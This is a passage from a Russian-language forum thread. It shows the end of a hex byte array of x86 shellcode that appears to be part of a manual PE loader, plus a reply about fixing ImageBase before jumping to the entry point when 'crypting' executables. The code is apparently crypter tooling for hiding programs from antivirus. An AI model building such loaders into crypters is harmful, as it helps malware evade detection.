    	0x53, 0x08, 0x85, 0xC0, 0x74, 0x63, 0x89, 0x45, 0xFC, 0x8B, 0x55, 0x14,
    	0x8B, 0x02, 0x03, 0x45, 0x10, 0x89, 0x45, 0xF4, 0x8B, 0x42, 0x10, 0x03,
    	0x45, 0x10, 0x89, 0x45, 0xF8, 0x31, 0xC9, 0x8B, 0x45, 0xF4, 0x01, 0xC8,
    	0x8B, 0x00, 0x85, 0xC0, 0x74, 0x35, 0x89, 0xC3, 0x25, 0x00, 0x00, 0x00,
    	0x80, 0x75, 0x36, 0x03, 0x5D, 0x10, 0x8D, 0x5B, 0x02, 0x89, 0xD8, 0x51,
    	0x53, 0xE8, 0x9F, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x0C, 0xFF, 0x75,
    	0xFC, 0xE8, 0xB8, 0xFE, 0xFF, 0xFF, 0x59, 0x85, 0xC0, 0x74, 0x16, 0x8B,
    	0x5D, 0xF8, 0x01, 0xCB, 0x89, 0x03, 0x83, 0xC1, 0x04, 0xEB, 0xC0, 0x61,
    	0xB8, 0x01, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x10, 0x00, 0x61, 0xB8, 0x00,
    	0x00, 0x00, 0x00, 0xC9, 0xC2, 0x10, 0x00
    };
    
    
     

    Вложения:

    • loadpe.rar
      Размер файла:
      8,3 КБ
      Просмотров:
      74
    7 фев 2013
  2. j0hn
    j0hn Новичок
    Симпатии:
    0
    covetous.eyes,
    Было бы неплохо перед переходом на EnterPoint ещё ImageBase поправить в системных структурах. Или вы с отличным ImageBase не собираетесь криптовать?
     
    4 май 2013

Поделиться этой страницей

Загрузка...